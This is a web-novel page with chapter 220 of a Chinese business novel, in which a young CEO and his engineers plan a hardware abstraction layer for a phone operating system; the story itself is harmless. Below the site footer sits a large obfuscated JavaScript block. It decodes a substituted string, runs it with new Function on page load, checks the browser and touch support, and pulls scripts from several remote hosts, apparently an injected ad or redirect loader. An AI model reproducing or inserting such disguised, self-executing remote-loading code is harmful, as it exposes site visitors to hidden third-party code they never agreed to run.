首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第220章 首期攻坚:能省几千万,两年的HAR架构

    而赵远这边,对能顺利请到长假毫不意外。此刻他根本没心思多想这些琐事,正牵头开一场核心技术攻坚会议。
    会议室里气氛紧绷,赵远面前坐着一众管理层、林景行,还有好几名操作系统方向的核心技术骨干,所有人都凝神听他拆解新的架构思路——这批人后续就要负责对应模块的开发落地。
    赵远站在白板前侃侃而谈,板面上密密麻麻写满了各类技术标注,最后落笔一行格外醒目的字:HAR硬件抽象层。
    “我们要搭建一套带标准固定接口的中间代码层,夹在应用、图形、系统框架这三层上层模块和最底层的内核之间。”
    他稍作停顿,看向众人,条理清晰地戳破现有架构的致命短板:
    “你们都清楚现在的模式,上层每个模块都是直连调用内核,深度绑定Linux驱动的专属调用逻辑。以后一旦更换基带芯片等硬件,不光内核侧的驱动要大改,上层一大堆通信配套代码也得大面积重写。
    更别说咱们公司的终极目标——以后要换掉Linux,做自己的自研内核。现在不加这层隔离,到时候上面所有软件基本都得推倒重来。
    还有开发速度也受拖累,现在做上层功能,必须等底层内核调试完才能测试,所有人只能排队等着干,研发周期越拖越长。”
    “而我设计的这套HAR抽象层,就是专门解决这些麻烦的。”
    “以后上面三层软件,统一只调用HAR封装好的标准接口,完全不碰底层内核。HAR层自己再通过不同的‘适配插件’,去对接底下的Linux系统。
    将来不管底层是用Linux,还是换成咱们自己的自研内核;不管换哪家的屏幕、哪个型号的手机芯片……上层软件都不用改,它只认HAR这一套统一指令,根本感觉不到底下硬件和系统变了。
    另外,像资源冲突、报错提示、异常处理这些事,也全都收拢到HAR层统一解决,上层开发的人不用再去应付五花八门的底层报错。”
    话音落下,在场的核心技术人员和管理层全都心头一震,纷纷看向赵远。谁都没料到这位年轻老板,对操作系统底层架构的理解居然精深到这种地步,各类专业技术框架、底层逻辑信手拈来。
    林景行缓缓点头,接话道:“赵总这个分层设计太关键了,直接打破多层研发互相卡脖子的困局。
    等以后切换自研内核,上层整套代码基本不用动,还是调同一套HAR抽象接口,我们只重写HAR对接内核侧的适配封装就行,整体开发量能砍掉一大半。
    后期排查故障也清晰太多,不用跨好几个模块来回核对、互相推诿。”
    赵远点了点头,伸手指向白板,逐条敲定现阶段第一阶段的硬性目标:
    “咱们这一阶段,只聚焦手机四类核心硬件:GSM基带、电阻触控屏、基础电源管理模块。
    第一件事,定死HAR的标准接口,以后永久不变。所有上层软件想操作硬件,必须走HAR通道,绝对不许直接连底层驱动。”
    “第二,做两套适配插件。一套是‘真机版’,对接真实手机里的Linux驱动;另一套是‘电脑仿真版’,不用真实手机,纯靠软件模拟硬件的反应。”
    “第三,出一份正式规范文档,把HAR的所有调用规则写死。
    这几块工作,我会抽十几到二十个研发组成专项小组,三个月内必须把基础功能全部做出来。”
    在场的技术骨干心里盘算了一下,第一阶段范围划得很清楚,短期攻坚难度可控,纷纷点头记下要求。
    林景行坐在那儿,心里反复掂量着这套方案的分量。他太清楚没有隔离层的痛点了:“以后真要换内核、换硬件,十几万行硬件适配代码得全部推翻重写,还得跟着冒出数不清的bug,人力、时间砸进去根本没个数。”
    他忍不住开口,语气里满是感慨:“大家回去都好好琢磨琢磨赵总这套设计。只要把HAR这层啃下来,光这一个架构,就能帮公司省下四五千万的研发投入,加上后续优化等等至少能压缩两年的整体研发周期,还是很值得下重注的。”
    这话一出口,底下顿时响起一阵低声议论。
    有人连连点头:“可不是嘛!以前换个屏幕驱动,上面好几层代码都要跟着改,改完还得全量测一遍,太折腾了。有了这层统一接口,以后换硬件只改底下插件就行,上面完全不用动。”
    也有人忍不住叹服:“赵总这眼光是真长远,现在就把以后换自研内核的坑都提前填上了。我之前还只想着先把系统跑起来,根本没考虑到后续迭代的成本,这一下格局就拉开了。”
    还有人跟着附和:“是啊,光这一层设计,就比市面上很多做系统的团队想得深多了。看似多做了一层中间件,实则把后面几年的研发成本都省下来了,太值了。”
    几句议论下来,众人看向赵远的眼神里都多了几分佩服。
    原本不少人还觉得老板年纪轻,可能只管给钱不管技术,现在才发现,人家对底层技术的理解,比很多干了十几年的老工程师都通透,太牛了。
    赵远等众人议论声稍落,接着说道:“未来三个月我也会全程深度参与攻坚,大家遇到任何卡点,随时都可以找我沟通。第一阶段的目标就定三个月,必须按时拿下来。”
    林景行也跟着正色补充:“这个任务是咱们操作系统项目的核心根基,大家务必重视,好好完成。有没有什么问题现在可以提。”
    话音刚落,队伍里一个叫杨明的核心技术骨干站了起来。他以前在老东家就是顶尖的技术好手,脑子转得快,刚听完方案就揪出了两个最关键的隐患,直截了当地问了出来:
    “赵总,我梳理了两个实际问题想请教您。
    第一,就是这个封装的尺度不好把握。要是封装得太浅,只是简单把底层驱动的指令转一遍,没做统一的能力收拢,那以后换内核、换硬件,这套抽象层基本就废了,前期投入等于打水漂。
    可要是封装得太深、太复杂,现在手机算力本来就弱,多这么一层翻译,很容易造成卡顿、兼容问题,搞不好还会触发硬件故障。”
    “第二就是两套插件的兼容问题。我们同时维护真机和电脑仿真两套适配代码,真实手机硬件和电脑模拟环境的指令差得很远,很容易出现真机跑着一切正常,仿真环境却全是报错的情况,两套环境的表现很难对齐。”
    赵远听完,眼里露出几分赞许:“你考虑得很周全,问题抓得很准。这两个风险我都有应对方案。”
    “首先说封装尺度:上层调用的HAR接口,直接敲定标准,永久锁定不再改动,强制所有上层业务百分之百通过HAR访问硬件。
    底层适配先做轻量化封装,只优先把刚需的硬件能力统一起来。”
    众人听着纷纷点头。浅封装能规避当下的性能问题,要是太深了,就此锁死硬件和内核,以后不管是自家更新设备,还是对接外部厂商的硬件,前期的开发投入都容易打水漂。
    赵远像是看穿了大家的心思,接着补充道:“对了,你们还要加一道硬性拦截机制——凡是不通过HAR接口,直接去操作底层硬件的请求,一律拦截报错,从根上杜绝有人绕开抽象层直接写驱动的行为。
    咱们团队不少老工程师,以前都习惯直接操控底层硬件,这个规则就是从流程上卡死旧习惯,逼着大家按统一标准来。”
    “至于真机和仿真两套环境对不齐的问题,”赵远顿了顿,“我们安排专人做日志反向同步:每天把真机上硬件的原始指令、延迟波动、异常抖动这些真实运行数据全部抓下来,
    同步喂给电脑仿真插件,持续打磨校准,一点点把两套环境的行为差异抹平。”
    众人听完都觉得逻辑通顺、方案可行,又围着几个细节讨论了一会,这场为公司省下几千万成本和两年时间的核心技术攻坚会便宣告散会。

一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();